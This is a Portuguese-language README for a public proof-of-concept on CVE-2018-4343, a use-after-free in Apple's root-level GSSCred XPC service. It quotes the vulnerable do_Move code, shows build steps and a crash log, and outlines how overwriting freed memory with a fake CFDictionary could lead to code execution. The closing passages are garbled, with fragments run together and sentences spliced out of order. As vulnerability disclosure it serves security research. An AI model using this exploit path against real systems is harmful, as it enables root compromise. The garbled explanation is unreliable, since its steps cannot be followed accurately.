
CVE-2018-4343: Prova de conceito para um use-after-free no daemon GSSCred no macOS e iOS.
O serviço XPC com.apple.GSSCred, que roda como root no macOS e iOS, não implementa corretamente o comando "move", levando a uma condição de use-after-free na função do_Move. O serviço GSSCred pode ser alcançado a partir do sandbox de aplicativo padrão no iOS.
Este programa aproveita a vulnerabilidade para derrubar o serviço GSSCred. Alcançar a execução de código no GSSCred depende de sobrescrever a memória liberada com dados controlados durante a janela de corrida. Testado no macOS High Sierra 10.13.2 Beta 17C79a.
Aqui estão as partes relevantes de do_Move do Heimdal-520, com algumas verificações de erro sem importância omitidas:
//
// 1. from and to are fully controlled UUID objects deserialized from the XPC request.
//
CFUUIDRef from = HeimCredMessageCopyAttributes(request, "from", CFUUIDGetTypeID());
CFUUIDRef to = HeimCredMessageCopyAttributes(request, "to", CFUUIDGetTypeID());
...
//
// 2. credfrom and credto are HeimCredRef objects looked up by the from and to UUIDs.
// CFDictionaryGetValue() returns the objects without adding a reference. Note that if
// the from and to UUIDs are the same, then credfrom and credto will both reference the
// same object.
//
HeimCredRef credfrom = (HeimCredRef)CFDictionaryGetValue(peer->session->items, from);
HeimCredRef credto = (HeimCredRef)CFDictionaryGetValue(peer->session->items, to);
...
//
// 3. credfrom is removed from the dictionary. Since there was only one reference
// outstanding, this causes credfrom to be freed.
//
CFMutableDictionaryRef newattrs = CFDictionaryCreateMutableCopy(NULL, 0, credfrom->attributes);
CFDictionaryRemoveValue(peer->session->items, from);
credfrom = NULL;
...
//
// 4. At this point we check credto. If credfrom and credto refer to the same object, then
// credto is a non-NULL pointer to the freed HeimCredRef object.
//
if (credto == NULL) {
...
} else {
//
// 5. Now we dereference credto, passing a value read from freed memory as a
// CFDictionaryRef object to CFDictionaryGetValue().
//
CFUUIDRef parentUUID = CFDictionaryGetValue(credto->attributes, kHEIMAttrParentCredential);
...
}
Este código faz o seguinte:
from e to, a partir da solicitação XPC. A solicitação é completamente controlada, então podemos definir os valores desses UUIDs arbitrariamente. Não há verificação se esses dois UUIDs são os mesmos.credfrom e credto, correspondentes aos respectivos UUIDs from e to. O dicionário peer->session->items armazena todas as credenciais gerenciadas pelo GSSCred em nome do programa cliente atualmente conectado. Observe que a função CFDictionaryGetValue retorna uma referência aos objetos HeimCredRef, mas não aumenta sua contagem de referências. Em particular, se from e to forem o mesmo UUID, então credfrom e credto apontarão para o mesmo HeimCredRef com contagem de referência 1 (mantida pelo CFDictionary que o contém).Este programa não tenta vencer esta janela de corrida. Em vez disso, ele permite que o destruidor do HeimCredRef zere o campo attributes, desencadeando uma desreferência de ponteiro NULL em CFDictionaryGetValue.
Para compilar, execute make. Consulte o topo do Makefile para várias opções de compilação.
Executar o exploit mostrará a sequência de mensagens XPC trocadas com o GSSCred:
$ ./GSSCred-move-uaf
create: <dictionary: 0x7ff359e07740> { count = 1, transaction: 0, voucher = 0x0, contents =
"attributes" => <dictionary: 0x7ff359e06b60> { count = 5, transaction: 0, voucher = 0x0, contents =
"kHEIMObjectType" => <string: 0x7ff359e06a00> { length = 19, contents = "kHEIMObjectKerberos" }
"kHEIMAttrBundleIdentifierACL" => <array: 0x7ff359e06a70> { count = 1, capacity = 1, contents =
0: <string: 0x7ff359e06aa0> { length = 1, contents = "*" }
}
"kHEIMAttrUUID" => <uuid: 0x7ff359e06b20> AB000000-0000-0000-0000-000000000000
"kHEIMAttrStoreTime" => <date: 0x7ff359e06c60> Sat Dec 09 15:09:56 2017 PST (approx)
"kHEIMAttrType" => <string: 0x7ff359e06ce0> { length = 17, contents = "kHEIMTypeKerberos" }
}
}
Event: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
"XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}
move: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
"XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}
Os eventos XPC "Connection interrupted" indicam que a conexão XPC foi interrompida, provavelmente porque o GSSCred morreu.
O código GSSCred-move-uaf é lançado em domínio público. Por cortesia, peço que, se você referenciar ou usar qualquer parte deste código, me atribua.
credfrompeer->session->itemsfromtocredfromfromtocredtocredto é NULL. Como credfrom e credto são iguais e credfrom não era NULL, entramos no ramo else.credto para ler o campo attributes, que é passado como o primeiro parâmetro para CFDictionaryGetValue. Se a memória liberada apontada por credto tiver sido realocada nesse meio tempo e a localização do campo attributes tiver mudado para apontar para um objeto CFDictionary falso especialmente criado, então deve ser possível alcançar a execução de código com esta etapa.